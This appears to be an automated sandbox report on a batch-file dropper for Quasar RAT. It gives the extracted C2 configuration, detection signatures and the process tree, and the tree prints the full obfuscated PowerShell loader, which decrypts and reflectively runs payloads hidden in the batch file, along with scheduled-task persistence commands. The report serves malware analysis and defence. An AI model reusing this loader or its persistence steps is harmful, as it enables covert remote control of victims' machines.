Analysis

  • max time kernel
    91s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/09/2024, 12:50

General

  • Target
    MultiTool.bat
  • Size 1.9MB
  • Sample240921-p25mtstbmm
  • SHA256 6d908ce900878eb90db1e232cbfdf267cd5d4fe7a22392c67dab5579ac3a71f7
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Version
  • 1.4.1

Botnet
  • Office04

C2
  • still-firefly-10028.pktriot.net:22288

Mutex
  • 0d77e6bf-daed-41e5-ad1a-4a4f9650e9d5

Attributes
  • encryption_key

    C75C8F2E12DF23FF67198A31653AD36D88F51551

  • install_name

    COM Surrogate.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    COM Surrogate

  • subdirectory

    Windows

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\MultiTool.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1616
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2eKlV7eWIbsDwp3zOHVyyARQutxW9CvEfRfFymnjt/0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3bERveraLrGMq+rS+xt0/w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jVicbCnIpe=New-Object System.IO.MemoryStream(,$param_var); $sjVpnEVTZI=New-Object System.IO.MemoryStream; $EpywmQbVib=New-Object System.IO.Compression.GZipStream($jVicbCnIpe, [IO.Compression.CompressionMode]::Decompress); $EpywmQbVib.CopyTo($sjVpnEVTZI); $EpywmQbVib.Dispose(); $jVicbCnIpe.Dispose(); $sjVpnEVTZI.Dispose(); $sjVpnEVTZI.ToArray();}function execute_function($param_var,$param2_var){ $PppKCjMqcw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NYaxpOFyCC=$PppKCjMqcw.EntryPoint; $NYaxpOFyCC.Invoke($null, $param2_var);}$saWljchObs = 'C:\Users\Admin\AppData\Local\Temp\MultiTool.bat';$host.UI.RawUI.WindowTitle = $saWljchObs;$yoXYJlGbel=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($saWljchObs).Split([Environment]::NewLine);foreach ($fUseZbHqCI in $yoXYJlGbel) { if ($fUseZbHqCI.StartsWith(':: ')) { $rPMoVfJXSM=$fUseZbHqCI.Substring(3); break; }}$payloads_var=[string[]]$rPMoVfJXSM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1852
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_154_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_154.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1420
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_154.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1936
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_154.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3552
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2eKlV7eWIbsDwp3zOHVyyARQutxW9CvEfRfFymnjt/0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3bERveraLrGMq+rS+xt0/w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jVicbCnIpe=New-Object System.IO.MemoryStream(,$param_var); $sjVpnEVTZI=New-Object System.IO.MemoryStream; $EpywmQbVib=New-Object System.IO.Compression.GZipStream($jVicbCnIpe, [IO.Compression.CompressionMode]::Decompress); $EpywmQbVib.CopyTo($sjVpnEVTZI); $EpywmQbVib.Dispose(); $jVicbCnIpe.Dispose(); $sjVpnEVTZI.Dispose(); $sjVpnEVTZI.ToArray();}function execute_function($param_var,$param2_var){ $PppKCjMqcw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NYaxpOFyCC=$PppKCjMqcw.EntryPoint; $NYaxpOFyCC.Invoke($null, $param2_var);}$saWljchObs = 'C:\Users\Admin\AppData\Roaming\startup_str_154.bat';$host.UI.RawUI.WindowTitle = $saWljchObs;$yoXYJlGbel=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($saWljchObs).Split([Environment]::NewLine);foreach ($fUseZbHqCI in $yoXYJlGbel) { if ($fUseZbHqCI.StartsWith(':: ')) { $rPMoVfJXSM=$fUseZbHqCI.Substring(3); break; }}$payloads_var=[string[]]$rPMoVfJXSM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2020
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "COM Surrogate" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\COM Surrogate.exe" /rl HIGHEST /f
              6⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4596
            • C:\Users\Admin\AppData\Roaming\Windows\COM Surrogate.exe
              "C:\Users\Admin\AppData\Roaming\Windows\COM Surrogate.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:2128

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 ee52dc7a60da00f667c711173c0d8631a3f7fb4c00e7c8f93c1f075d2c5ff805
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_ukrybdg1.s0r.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ukrybdg1.s0r.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        COM Surrogate.exe

        • Path C:\Users\Admin\AppData\Roaming\Windows\COM Surrogate.exe
        • Size 442KB
        • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
        • MD5 SHA1 SHA512 SSDEEP

        startup_str_154.bat

        • Path C:\Users\Admin\AppData\Roaming\startup_str_154.bat
        • Size 1.9MB
        • SHA256 6d908ce900878eb90db1e232cbfdf267cd5d4fe7a22392c67dab5579ac3a71f7
        • MD5 SHA1 SHA512 SSDEEP

        startup_str_154.vbs

        • Path C:\Users\Admin\AppData\Roaming\startup_str_154.vbs
        • Size 115B
        • SHA256 1c8d980cdeb068f58e75541e46ce228bd7adb5715f6993edc62a81fd534b35f2
        • MD5 SHA1 SHA512

        memory/1420-30-0x00007FF96DB80000-0x00007FF96E641000-memory.dmp

        memory/1420-16-0x00007FF96DB80000-0x00007FF96E641000-memory.dmp

        memory/1420-26-0x00007FF96DB80000-0x00007FF96E641000-memory.dmp

        memory/1420-27-0x00007FF96DB80000-0x00007FF96E641000-memory.dmp

        memory/1852-13-0x0000028E765A0000-0x0000028E765A8000-memory.dmp

        memory/1852-14-0x0000028E76830000-0x0000028E76984000-memory.dmp

        memory/1852-0-0x00007FF96DB83000-0x00007FF96DB85000-memory.dmp

        memory/1852-12-0x00007FF96DB80000-0x00007FF96E641000-memory.dmp

        memory/1852-11-0x00007FF96DB80000-0x00007FF96E641000-memory.dmp

        memory/1852-51-0x00007FF96DB80000-0x00007FF96E641000-memory.dmp

        memory/1852-1-0x0000028E765B0000-0x0000028E765D2000-memory.dmp

        memory/2020-49-0x000001B16BC10000-0x000001B16BD64000-memory.dmp

        memory/2020-50-0x000001B16BD70000-0x000001B16C08E000-memory.dmp

        memory/2128-65-0x000001FC4EC10000-0x000001FC4EC54000-memory.dmp

        memory/2128-66-0x000001FC4ECE0000-0x000001FC4ED56000-memory.dmp